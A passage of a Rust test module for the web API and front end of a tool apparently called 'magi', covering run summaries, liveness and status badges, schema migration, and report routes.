15899 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
15900 let f = Fixture::start().await;
15901 write_run_repo(
15902 &f.runs(),
15903 "20260902-140501-a",
15904 RunStatus::Merged,
15905 "/repos/a",
15906 );
15907
15908 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
15909 assert_eq!(stats.status, 404);
15910 }
15911
15912 #[tokio::test]
15913 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
15914 let f = Fixture::start().await;
15915 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
15916
15917 let summary = f.get("/api/runs").await.json();
15918 let row = &summary[0];
15919 assert_eq!(row["short"], "a1b2");
15920 assert_eq!(row["status"], "ready");
15921 assert_eq!(row["done"], true);
15922 assert_eq!(row["title"], "Add a web UI");
15923 assert_eq!(row["repo_name"], "magi");
15924 assert_eq!(row["judges"], 3);
15925 assert_eq!(row["winner"], Value::Null);
15926 assert_eq!(row["reviews"], 0);
15927
15928 let detail = f.get("/api/runs/a1b2").await;
15931 assert_eq!(detail.status, 200);
15932 assert_eq!(detail.json()["base_branch"], "main");
15933 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
15934 }
15935
15936 #[tokio::test]
15944 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
15945 let f = Fixture::start().await;
15946
15947 let mut none_run = RunState::new(
15948 PathBuf::from("/repo/magi"),
15949 "main".to_owned(),
15950 "0123456789abcdef".to_owned(),
15951 "Add a web UI".to_owned(),
15952 Config::default(),
15953 );
15954 none_run.id = "20260902-140503-none".to_owned();
15955 none_run.status = RunStatus::Ready;
15956 none_run.merge = Some(crate::run::MergeOutcome {
15957 mode: crate::config::MergeMode::None,
15958 ok: true,
15959 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
15960 empty: false,
15961 });
15962 write_state(&f.runs(), &none_run);
15963
15964 let mut pr_run = RunState::new(
15965 PathBuf::from("/repo/magi"),
15966 "main".to_owned(),
15967 "0123456789abcdef".to_owned(),
15968 "Add a web UI".to_owned(),
15969 Config::default(),
15970 );
15971 pr_run.id = "20260902-140504-prcl".to_owned();
15972 pr_run.status = RunStatus::Ready;
15973 pr_run.merge = Some(crate::run::MergeOutcome {
15974 mode: crate::config::MergeMode::Pr,
15975 ok: false,
15976 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
15977 empty: false,
15978 });
15979 write_state(&f.runs(), &pr_run);
15980
15981 let summary = f.get("/api/runs").await.json();
15982 let rows: std::collections::HashMap<&str, &Value> = summary
15983 .as_array()
15984 .expect("an array")
15985 .iter()
15986 .map(|r| (r["id"].as_str().expect("an id"), r))
15987 .collect();
15988 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
15989 assert_eq!(
15990 rows[none_run.id.as_str()]["unmerged_by_design"],
15991 true,
15992 "a mode-none Ready must be flagged in the list"
15993 );
15994 assert_eq!(
15995 rows[pr_run.id.as_str()]["unmerged_by_design"],
15996 false,
15997 "a Ready reached by a closed pull request is a different case"
15998 );
15999
16000 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
16001 assert_eq!(none_detail["status"], "ready");
16002 assert_eq!(none_detail["unmerged_by_design"], true);
16003
16004 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
16005 assert_eq!(pr_detail["unmerged_by_design"], false);
16006 }
16007
16008 #[tokio::test]
16013 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
16014 let f = Fixture::start().await;
16015 let id = "20260902-140502-bbbb";
16019 let mut state = RunState::new(
16020 PathBuf::from("/repo/magi"),
16021 "main".to_owned(),
16022 "0123456789abcdef".to_owned(),
16023 "Add a web UI".to_owned(),
16024 Config::default(),
16025 );
16026 state.id = id.to_owned();
16027 state.status = RunStatus::Judging;
16028 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
16029 let dir = f.runs().join(id);
16030 std::fs::create_dir_all(&dir).expect("run dir");
16031 std::fs::write(
16032 dir.join("run.json"),
16033 serde_json::to_string_pretty(&state).expect("serialize run"),
16034 )
16035 .expect("write run.json");
16036
16037 let cold = f.get(&format!("/api/runs/{id}")).await.json();
16043 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
16044 assert_eq!(cold["live"], "unknown", "{cold}");
16045
16046 write_daemon(f.home.path(), Timestamp::now());
16049 let warm = f.get(&format!("/api/runs/{id}")).await.json();
16050 assert_eq!(warm["live"], "live", "{warm}");
16051 }
16052
16053 #[test]
16054 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
16055 let home = tempfile::tempdir().expect("temp home");
16056 let runs = home.path().join("runs");
16057 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
16058 let mut state = RunState::new(
16059 PathBuf::from("/repo/magi"),
16060 "main".to_owned(),
16061 "0123456789abcdef".to_owned(),
16062 "Generated review context, not authored task criteria".to_owned(),
16063 Config::default(),
16064 );
16065 state.origin = origin;
16066 state.status = RunStatus::Blocked;
16067 state.driver_exited = false;
16069 state.gate_ran = true;
16070 let expected = serde_json::to_value(&state).expect("serialize current state");
16071 let mut legacy = expected.clone();
16072 legacy["schema"] = serde_json::json!(13);
16073 legacy.as_object_mut().unwrap().remove("task_instruction");
16074 let dir = runs.join(&state.id);
16075 std::fs::create_dir_all(&dir).expect("run dir");
16076 let path = dir.join("run.json");
16077 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
16078 std::fs::write(&path, &body).expect("write legacy run");
16079
16080 for loaded in [
16081 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
16082 read_run(&runs, &state.id).expect("web migration"),
16083 ] {
16084 assert_eq!(loaded.schema, crate::run::SCHEMA);
16085 assert!(loaded.task_instruction.is_none());
16086 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
16087 }
16088 assert_eq!(runs_unreadable(&runs), 0);
16089 assert_eq!(std::fs::read(&path).unwrap(), body);
16090 }
16091 }
16092
16093 #[tokio::test]
16096 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
16097 let f = Fixture::start().await;
16098 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
16099 let mut state = RunState::new(
16100 PathBuf::from("/repo/magi"),
16101 "main".to_owned(),
16102 "0123456789abcdef".to_owned(),
16103 "Add a web UI".to_owned(),
16104 Config::default(),
16105 );
16106 state.id = id.to_owned();
16107 state.origin = origin;
16108 let mut value = serde_json::to_value(&state).expect("serialize run");
16109 if let Some(schema) = schema {
16110 value["schema"] = serde_json::json!(schema);
16111 value.as_object_mut().unwrap().remove("origin");
16112 }
16113 let dir = f.runs().join(id);
16114 std::fs::create_dir_all(&dir).expect("run dir");
16115 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
16116 };
16117 write(
16118 "20260930-092817-ec34",
16119 Some(crate::run::Origin::from_agent_env(
16120 Some(("4a7b".to_owned(), "chat".to_owned())),
16121 None,
16122 )),
16123 None,
16124 );
16125 write("20260930-092817-0ld1", None, Some(12));
16126
16127 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
16128 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
16129 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
16130
16131 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
16132 assert_eq!(
16133 old["origin_label"], "origin unknown (started before origins were recorded)",
16134 "{old}"
16135 );
16136 assert!(old["origin"].is_null(), "{old}");
16137
16138 let list = f.get("/api/runs").await.json();
16139 let labels: Vec<_> = list
16140 .as_array()
16141 .unwrap()
16142 .iter()
16143 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
16144 .collect();
16145 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
16146 }
16147
16148 #[tokio::test]
16155 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
16156 let f = Fixture::start().await;
16157 let id = "20260922-090000-cccc";
16158 let mut state = RunState::new(
16159 PathBuf::from("/repo/magi"),
16160 "main".to_owned(),
16161 "0123456789abcdef".to_owned(),
16162 "Review only".to_owned(),
16163 Config::default(),
16164 );
16165 state.id = id.to_owned();
16166 state.status = RunStatus::Reviewing;
16167 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
16168 state.driver_pid = Some(std::process::id());
16174 state.driver_started_at = Some(
16175 crate::proc::process_started_at(std::process::id())
16176 .expect("this test process's own start time must be queryable"),
16177 );
16178 let dir = f.runs().join(id);
16179 std::fs::create_dir_all(&dir).expect("run dir");
16180 std::fs::write(
16181 dir.join("run.json"),
16182 serde_json::to_string_pretty(&state).expect("serialize run"),
16183 )
16184 .expect("write run.json");
16185
16186 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16187 assert_eq!(detail["live"], "live", "{detail}");
16188 }
16189
16190 #[tokio::test]
16196 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
16197 let f = Fixture::start().await;
16198 let id = "20260922-090100-dddd";
16199 let mut state = RunState::new(
16200 PathBuf::from("/repo/magi"),
16201 "main".to_owned(),
16202 "0123456789abcdef".to_owned(),
16203 "Review only".to_owned(),
16204 Config::default(),
16205 );
16206 state.id = id.to_owned();
16207 state.status = RunStatus::Reviewing;
16208 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
16209 state.driver_pid = Some(std::process::id());
16214 state.driver_started_at = Some("1".to_owned());
16215 let dir = f.runs().join(id);
16216 std::fs::create_dir_all(&dir).expect("run dir");
16217 std::fs::write(
16218 dir.join("run.json"),
16219 serde_json::to_string_pretty(&state).expect("serialize run"),
16220 )
16221 .expect("write run.json");
16222
16223 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16224 assert_eq!(detail["live"], "dead", "{detail}");
16225 }
16226
16227 #[test]
16231 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
16232 let mk = |id: &str, pid: Option<u32>| {
16233 let mut s = RunState::new(
16234 PathBuf::from("/repo/magi"),
16235 "main".to_owned(),
16236 "0123456789abcdef".to_owned(),
16237 "Add a web UI".to_owned(),
16238 Config::default(),
16239 );
16240 s.id = id.to_owned();
16241 s.driver_pid = pid;
16242 s.driver_started_at = Some("1790000000".to_owned());
16243 s
16244 };
16245 let states = vec![
16246 mk("20260902-140502-aaaa", Some(77)),
16247 mk("20260902-140502-bbbb", Some(77)),
16248 mk("20260902-140502-cccc", Some(77)),
16249 mk("20260902-140502-dddd", None),
16250 ];
16251 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
16252 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
16253 let sup: HashMap<String, String> = [(
16254 "20260902-140502-aaaa".to_owned(),
16255 "20260902-140502-cccc".to_owned(),
16256 )]
16257 .into();
16258
16259 let status_calls = std::cell::Cell::new(0);
16260 let identity_calls = std::cell::Cell::new(0);
16261 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
16262 |_| {
16263 status_calls.set(status_calls.get() + 1);
16264 Some(true)
16265 },
16266 |_| {
16267 identity_calls.set(identity_calls.get() + 1);
16268 Some("1790000000".to_owned())
16269 },
16270 ));
16271 let rows = summarize(
16272 states,
16273 &open,
16274 &claimed,
16275 &sup,
16276 |p| probe.borrow_mut().status(p),
16277 |p| probe.borrow_mut().started_at(p),
16278 );
16279
16280 assert_eq!(status_calls.get(), 1, "one pid, one status query");
16281 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
16282 assert_eq!(rows.len(), 4);
16283 assert!(!rows[0].waiting && rows[1].waiting);
16284 assert_eq!(rows[0].live, crate::run::Liveness::Live);
16285 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
16286 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
16287 assert_eq!(rows[1].superseded_by, None);
16288 }
16289
16290 #[test]
16291 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
16292 let mut state = RunState::new(
16293 PathBuf::from("/repo/magi"),
16294 "main".to_owned(),
16295 "0123456789abcdef".to_owned(),
16296 "Review only".to_owned(),
16297 Config::default(),
16298 );
16299 state.id = "20260922-090200-dead".to_owned();
16300 state.status = RunStatus::Reviewing;
16301 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
16302 .expect("serialize list row");
16303 assert_eq!(row["status"], "reviewing");
16304 assert_eq!(row["display_status"], "stale");
16305 assert_eq!(row["live"], "dead", "{row}");
16306 assert!(!row["done"].as_bool().unwrap());
16307 }
16308
16309 #[test]
16310 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
16311 use crate::run::Liveness::{Dead, Live, Unknown};
16312 let mut state = RunState::new(
16313 PathBuf::from("/repo/magi"),
16314 "main".to_owned(),
16315 "abc".to_owned(),
16316 "Review only".to_owned(),
16317 Config::default(),
16318 );
16319 for (status, parked, node, waiting, live, expected) in [
16320 (
16321 RunStatus::Judging,
16322 true,
16323 "github-text",
16324 false,
16325 Dead,
16326 "parked",
16327 ),
16328 (RunStatus::Judging, false, "park", false, Dead, "stale"),
16329 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
16330 (
16331 RunStatus::Judging,
16332 true,
16333 "github-text",
16334 true,
16335 Dead,
16336 "waiting",
16337 ),
16338 (
16339 RunStatus::Judging,
16340 false,
16341 "github-text",
16342 true,
16343 Dead,
16344 "waiting",
16345 ),
16346 (
16347 RunStatus::Judging,
16348 false,
16349 "github-text",
16350 false,
16351 Dead,
16352 "stale",
16353 ),
16354 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
16355 (RunStatus::Judging, true, "park", false, Live, "judging"),
16356 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
16357 (RunStatus::Merged, true, "park", false, Dead, "merged"),
16358 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
16359 (
16360 RunStatus::Blocked,
16361 true,
16362 "github-text",
16363 true,
16364 Dead,
16365 "waiting",
16366 ),
16367 ] {
16368 state.status = status;
16369 state.parked = parked;
16370 state.events.clear();
16371 state.event(
16372 "park",
16373 "an earlier park does not determine the latest state",
16374 );
16375 state.event(node, "message is not used for classification");
16376 let summary = RunSummary::of(&state, waiting, live);
16377 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
16378 assert_eq!(
16379 summary.display_status, expected,
16380 "{status:?}/{node}/{live:?}"
16381 );
16382 assert_eq!(detail.display_status, summary.display_status);
16383 assert_eq!(detail.waiting, summary.waiting);
16384 }
16385 state.status = RunStatus::Judging;
16386 state.parked = false;
16387 state.events.clear();
16388 assert_eq!(run_display_status(&state, false, Dead), "stale");
16389 }
16390
16391 #[test]
16392 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
16393 use crate::run::Liveness::{Dead, Live, Unknown};
16394 let mut state = RunState::new(
16395 PathBuf::from("/repo/magi"),
16396 "main".to_owned(),
16397 "abc".to_owned(),
16398 "Badge".to_owned(),
16399 Config::default(),
16400 );
16401 for (status, waiting, live, superseded, expected) in [
16402 (RunStatus::Gating, false, Dead, false, "stale"),
16403 (RunStatus::Gating, false, Dead, true, "superseded"),
16404 (RunStatus::Gating, false, Unknown, true, "superseded"),
16405 (RunStatus::Gating, true, Dead, true, "superseded"),
16406 (RunStatus::Gating, true, Dead, false, "waiting"),
16407 (RunStatus::Gating, false, Unknown, false, "gating"),
16408 (RunStatus::Gating, false, Live, true, "gating"),
16409 (RunStatus::Gating, true, Live, true, "waiting"),
16410 (RunStatus::Merged, false, Dead, true, "merged"),
16411 (RunStatus::Blocked, false, Dead, true, "blocked"),
16412 ] {
16413 state.status = status;
16414 let display = run_display_status(&state, waiting, live);
16415 assert_eq!(
16416 run_badge_status(&state, &display, live, superseded),
16417 expected,
16418 "{status:?}/{live:?}/superseded={superseded}"
16419 );
16420 }
16421 }
16422
16423 #[test]
16424 fn summarize_and_detail_expose_badge_status() {
16425 use crate::run::Liveness::Dead;
16426 let mut state = RunState::new(
16427 PathBuf::from("/repo/magi"),
16428 "main".to_owned(),
16429 "abc".to_owned(),
16430 "Badge".to_owned(),
16431 Config::default(),
16432 );
16433 state.status = RunStatus::Gating;
16434 let none = HashSet::new();
16435 let id = state.id.clone();
16436 let mut by = HashMap::new();
16437 let rows = summarize(
16438 [state.clone()],
16439 &none,
16440 &none,
16441 &by,
16442 |_| Some(false),
16443 |_| None,
16444 );
16445 assert_eq!(rows[0].badge_status, rows[0].display_status);
16447 by.insert(id, "20260901-000000-913b".to_owned());
16448 let detail = RunDetailView::of(
16449 state.clone(),
16450 false,
16451 Dead,
16452 Some("913b".to_owned()),
16453 None,
16454 None,
16455 );
16456 assert_eq!(detail.badge_status, "superseded");
16457 let json = serde_json::to_value(&detail).unwrap();
16458 assert_eq!(json["badge_status"], "superseded");
16459 let detail = RunDetailView::of(state, false, Dead, None, None, None);
16460 assert_eq!(detail.badge_status, "stale");
16461 }
16462
16463 #[tokio::test]
16464 async fn run_display_status_routes_share_the_open_question_store() {
16465 let f = Fixture::start().await;
16466 let id = "20260922-090200-abcd";
16467 write_run(&f.runs(), id, RunStatus::Judging);
16468 let mut state = read_run(&f.runs(), id).unwrap();
16469 state.parked = true;
16470 state.driver_exited = true;
16471 state.event("github-text", "waiting for the owner");
16472 state.save_under(f.home.path()).unwrap();
16473 let mut task = Task::new(
16474 "resumed task".to_owned(),
16475 "do it".to_owned(),
16476 PathBuf::from("/repo"),
16477 Source::Human,
16478 );
16479 task.runs = vec![id.to_owned(), id.to_owned()];
16480 f.queue().put(&mut task).unwrap();
16481 let store = f.questions();
16482 let mut q = Question::new(
16483 id.to_owned(),
16484 "github-text".to_owned(),
16485 "owner".to_owned(),
16486 "Approve the text?".to_owned(),
16487 String::new(),
16488 Vec::new(),
16489 );
16490 store.put(&mut q).unwrap();
16491 for expected in ["waiting", "parked"] {
16492 let list = f.get("/api/runs").await.json();
16493 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16494 assert_eq!(list[0]["display_status"], expected);
16495 assert_eq!(detail["display_status"], expected);
16496 assert_eq!(detail["waiting"], list[0]["waiting"]);
16497 assert_eq!(list[0]["badge_status"], expected);
16498 assert_eq!(detail["badge_status"], expected);
16499 assert!(list[0]["superseded_by"].is_null());
16500 assert!(detail["superseded_by"].is_null());
16501 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
16502 let history = task_detail["history"].as_array().unwrap();
16503 assert_eq!(history.len(), 2);
16504 assert!(history[0]["badge"].is_null());
16505 assert_eq!(history[1]["badge"], expected);
16506 q.status = ask::QuestionStatus::Answered;
16507 store.put(&mut q).unwrap();
16508 }
16509 }
16510
16511 #[tokio::test]
16512 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
16513 let f = Fixture::start().await;
16514 let id = "20260922-090200-abcd";
16515 write_run(&f.runs(), id, RunStatus::Judging);
16516 let mut state = read_run(&f.runs(), id).unwrap();
16517 state.parked = true;
16518 state.driver_exited = true;
16519 state.event("park", "stopped at a node boundary");
16520 state.save_under(f.home.path()).unwrap();
16521
16522 for expected in ["parked", "stale"] {
16523 let list = f.get("/api/runs").await.json();
16524 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16525 assert_eq!(list[0]["live"], "dead");
16526 assert_eq!(list[0]["display_status"], expected);
16527 assert_eq!(detail["display_status"], expected);
16528 state.parked = false;
16531 state.save_under(f.home.path()).unwrap();
16532 }
16533 }
16534
16535 #[tokio::test]
16536 async fn the_run_list_is_newest_first_and_honours_a_limit() {
16537 let f = Fixture::start().await;
16538 for id in [
16539 "20260902-140501-aaaa",
16540 "20260902-140502-bbbb",
16541 "20260902-140503-cccc",
16542 ] {
16543 write_run(&f.runs(), id, RunStatus::Merged);
16544 }
16545
16546 let all = f.get("/api/runs").await.json();
16547 let capped = f.get("/api/runs?limit=2").await.json();
16548
16549 assert_eq!(all[0]["id"], "20260902-140503-cccc");
16550 assert_eq!(all.as_array().map(Vec::len), Some(3));
16551 assert_eq!(capped.as_array().map(Vec::len), Some(2));
16552 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
16553 }
16554
16555 #[tokio::test]
16556 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
16557 let f = Fixture::start().await;
16558 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
16559
16560 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
16561
16562 assert_eq!(res.status, 200);
16563 assert!(
16564 res.headers
16565 .contains("content-type: text/plain; charset=utf-8"),
16566 "a browser must render it, not download it: {}",
16567 res.headers
16568 );
16569 assert!(
16573 res.body.contains("20260902-140501-a1b2"),
16574 "the report is about the run that was asked for: {}",
16575 res.body
16576 );
16577 }
16578
16579 #[tokio::test]
16580 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
16581 crate::run::pin_test_home();
16583 let f = Fixture::start().await;
16584 let id = "20260902-140501-a1b2";
16585 write_run(&f.runs(), id, RunStatus::Stalled);
16586 let path = f.runs().join(id).join("run.json");
16589 let mut v: serde_json::Value =
16590 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
16591 v["tally"] = serde_json::json!({
16592 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
16593 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
16594 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
16595 "met_quorum": false, "rankings": 1
16596 });
16597 v["reviews"] = serde_json::json!([{
16598 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
16599 "e2e_deferred": true,
16600 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
16601 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
16602 ]}]
16603 }]);
16604 std::fs::write(&path, v.to_string()).unwrap();
16605 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
16606 std::fs::write(
16607 f.runs().join("20260902-140502-dead").join("run.json"),
16608 "{not json",
16609 )
16610 .unwrap();
16611
16612 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
16613
16614 assert_eq!(res.status, 200, "{}", res.body);
16615 assert!(res.headers.contains("content-type: application/json"));
16616 let j = res.json();
16617 assert_eq!(j["schema"], 1);
16618 assert_eq!(j["header"]["id"], id);
16619 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
16620 let kinds: Vec<&str> = j["sections"]
16621 .as_array()
16622 .unwrap()
16623 .iter()
16624 .map(|s| s["kind"].as_str().unwrap())
16625 .collect();
16626 assert_eq!(kinds, ["candidates", "tally", "review"]);
16627 let tally = &j["sections"][1]["tally"];
16628 assert_eq!(
16629 (tally["decided"].clone(), tally["provisional"].clone()),
16630 (false.into(), true.into())
16631 );
16632 let round = &j["sections"][2]["rounds"][0];
16633 assert_eq!(round["e2e"]["state"], "deferred");
16634 assert_eq!(round["findings"][0]["severity"], "major");
16635 assert_eq!(round["findings"][0]["blocking"], true);
16636 assert_eq!(round["findings"][0]["state"], "open");
16637
16638 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
16640
16641 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
16643 assert_ne!(bad.status, 200, "{}", bad.body);
16644 assert_eq!(
16645 bad.status,
16646 f.get("/api/runs/20260902-140502-dead/report").await.status
16647 );
16648 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
16649 assert_eq!(
16650 f.get("/api/runs/20260902-999999-ffff/report.json")
16651 .await
16652 .status,
16653 404
16654 );
16655 }
16656
16657 #[tokio::test]
16658 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
16659 crate::run::pin_test_home();
16660 let f = Fixture::start().await;
16661 let id = "20260902-140503-delib";
16662 write_run(&f.runs(), id, RunStatus::Merged);
16663 let path = f.runs().join(id).join("run.json");
16664 let mut v: serde_json::Value =
16665 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
16666 v["judgements"] = serde_json::json!([
16667 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
16668 ]);
16669 v["tally"] = serde_json::json!({
16670 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
16671 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
16672 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
16673 "met_quorum": true, "rankings": 1
16674 });
16675 v["deliberation"] = serde_json::json!([
16676 {
16677 "round": 1,
16678 "turns": [
16679 {
16680 "judge": 1,
16681 "agent": "judge-1",
16682 "body": "I prefer candidate **A** because it has cleaner tests.",
16683 "tentative": "A"
16684 }
16685 ]
16686 },
16687 {
16688 "round": 2,
16689 "turns": [
16690 {
16691 "judge": 1,
16692 "agent": "judge-1",
16693 "body": "Still thinking, no choice yet.",
16694 "tentative": null
16695 }
16696 ]
16697 }
16698 ]);
16699 std::fs::write(&path, v.to_string()).unwrap();
16700
16701 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
16702 assert_eq!(res.status, 200, "{}", res.body);
16703 let j = res.json();
16704 let judging = j["sections"]
16705 .as_array()
16706 .unwrap()
16707 .iter()
16708 .find(|s| s["kind"] == "judging")
16709 .expect("judging section exists");
16710
16711 let delib_lines = judging["deliberation"].as_array().unwrap();
16713 assert_eq!(delib_lines.len(), 2);
16714 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
16715 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
16716
16717 let rounds = judging["rounds"].as_array().unwrap();
16719 assert_eq!(rounds.len(), 2);
16720 let r1_t0 = &rounds[0]["turns"][0];
16721 assert_eq!(r1_t0["judge"], 1);
16722 assert_eq!(r1_t0["agent"], "judge-1");
16723 assert_eq!(r1_t0["tentative"], "A");
16724 assert_eq!(
16725 r1_t0["body"],
16726 "I prefer candidate **A** because it has cleaner tests."
16727 );
16728 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
16729
16730 let r2_t0 = &rounds[1]["turns"][0];
16731 assert_eq!(r2_t0["judge"], 1);
16732 assert_eq!(r2_t0["agent"], "judge-1");
16733 assert!(r2_t0["tentative"].is_null());
16734 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
16735 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
16736
16737 let id_empty = "20260902-140504-nodelib";
16739 write_run(&f.runs(), id_empty, RunStatus::Merged);
16740 let path_empty = f.runs().join(id_empty).join("run.json");
16741 let mut v_empty: serde_json::Value =
16742 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
16743 v_empty["judgements"] = serde_json::json!([
16744 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
16745 ]);
16746 v_empty["deliberation"] = serde_json::json!([]);
16747 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
16748
16749 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
16750 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
16751 let j_empty = res_empty.json();
16752 let judging_empty = j_empty["sections"]
16753 .as_array()
16754 .unwrap()
16755 .iter()
16756 .find(|s| s["kind"] == "judging")
16757 .expect("judging section exists");
16758 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
16759 }
16760
16761 #[tokio::test]
16762 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
16763 let f = Fixture::start().await;
16764
16765 let html = f.get("/").await;
16766 let css = f.get("/app.css").await;
16767 let js = f.get("/app.js").await;
16768
16769 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
16770 assert!(
16771 html.headers
16772 .contains("content-type: text/html; charset=utf-8")
16773 );
16774 assert!(css.headers.contains("content-type: text/css"));
16775 assert!(js.headers.contains("content-type: text/javascript"));
16776 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
16777 }
16778
16779 #[test]
16780 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
16781 let body = |name: &str| {
16782 let at = APP_JS
16783 .find(name)
16784 .unwrap_or_else(|| panic!("{name} missing"));
16785 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
16786 };
16787 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
16788 let note = body("function landRoundNote");
16789 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
16790 assert!(note.contains("Land round ${round}"));
16791 let land = body("function renderLand");
16792 let note_at = land
16793 .find("landRoundNote(pr)")
16794 .expect("renderLand uses the note");
16795 assert!(
16796 note_at
16797 < land
16798 .find("roundRail(pr)")
16799 .expect("renderLand uses the rail")
16800 );
16801 }
16802
16803 #[test]
16804 fn the_runs_page_redesign_keeps_its_guards() {
16805 let body = |name: &str| {
16806 let at = APP_JS
16807 .find(name)
16808 .unwrap_or_else(|| panic!("{name} missing"));
16809 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
16810 };
16811 let land = body("function renderLand");
16813 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
16814 assert!(
16815 !land.contains("box.append("),
16816 "renderLand must use append()"
16817 );
16818 assert!(land.contains("append(box, ["));
16819 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
16821 assert!(
16822 body("function applyRoute")
16823 .contains("route.name !== state.route.name || route.id !== state.route.id")
16824 );
16825 assert!(!APP_JS.contains("adviseConvergeDiagram"));
16827 assert!(!INDEX_HTML.contains("advise-converge"));
16828 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
16829 assert!(APP_JS.contains("provisional"));
16830 for id in [
16831 "run-tab-overview",
16832 "run-tab-timeline",
16833 "run-tab-report",
16834 "run-report",
16835 "runs-scope",
16836 ] {
16837 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
16838 }
16839 assert!(!INDEX_HTML.contains("runs-tree"));
